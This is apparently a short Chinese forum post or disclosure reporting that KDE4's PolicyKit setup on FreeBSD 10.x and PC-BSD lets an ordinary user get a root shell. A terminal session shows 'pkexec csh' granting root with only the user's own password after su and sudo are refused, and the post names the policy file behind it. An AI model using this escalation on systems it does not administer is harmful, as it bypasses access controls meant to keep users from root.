KDE4 PolicyKit 后门(配置错误)(在 FBSD10x、PCBSD 上测试,可能在 Linux 上工作)

KDE4 PolicyKit 后门(配置错误)(在 FBSD10x、PCBSD 上测试,可能在 Linux 上工作)

最近在 FreeBSD 10.x 上发现了开箱即用的主题(使用 KDE4):

[user@fbsd10] /home/user% su
Password:
su: Sorry

[user@fbsd10] /home/user% sudo csh
Password:
Sorry, user user is not allowed to execute '/bin/csh' as root on fbsd10.

[user@fbsd10] /home/user% pkexec csh
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/csh' as the super user
Authenticating as: user
Password: [entered "user"s password]
==== AUTHENTICATION COMPLETE ===

[root@fbsd10] ~# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

该文件看起来像是造成这种行为的原因: /usr/local/share/polkit-1/actions/org.freedesktop.policykit.policy

难道我做错了什么?

相关内容